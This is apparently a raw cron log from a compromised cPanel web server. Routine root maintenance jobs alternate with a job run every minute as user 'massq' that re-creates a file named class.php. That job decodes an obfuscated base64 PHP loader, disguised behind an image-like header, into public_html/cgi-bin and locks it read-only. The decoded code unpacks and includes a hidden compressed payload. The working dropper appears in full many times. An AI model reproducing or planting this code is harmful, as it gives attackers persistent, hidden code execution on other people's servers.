Sep  8 15:40:01 server CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:40:01 server CROND[21164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:40:01 server CROND[21171]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:40:01 server CROND[21172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:40:01 server CROND[21175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:40:01 server CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:40:01 server CROND[21174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:41:01 server CROND[21986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:41:01 server CROND[21988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:41:01 server CROND[21989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:42:01 server CROND[22357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:42:01 server CROND[22359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:42:01 server CROND[22356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:42:01 server CROND[22358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:43:01 server CROND[22993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:43:01 server CROND[22994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:43:01 server CROND[22995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:44:01 server CROND[23408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:44:01 server CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:44:01 server CROND[23409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:45:01 server CROND[23790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:45:01 server CROND[23792]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:45:01 server CROND[23793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:45:01 server CROND[23794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:45:01 server CROND[23795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:45:01 server CROND[23796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:45:01 server CROND[23797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:46:01 server CROND[24615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:46:01 server CROND[24616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:46:01 server CROND[24617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:47:01 server CROND[24997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:47:01 server CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:47:01 server CROND[24999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:48:01 server CROND[25464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:48:01 server CROND[25465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:48:01 server CROND[25466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:49:01 server CROND[25834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:49:01 server CROND[25833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:49:01 server CROND[25835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:50:01 server CROND[26220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:50:01 server CROND[26222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:50:01 server CROND[26225]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:50:01 server CROND[26227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:50:01 server CROND[26236]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:50:01 server CROND[26235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:50:01 server CROND[26238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:50:01 server CROND[26234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:50:01 server CROND[26237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:51:01 server CROND[27042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:51:01 server CROND[27043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:51:01 server CROND[27044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
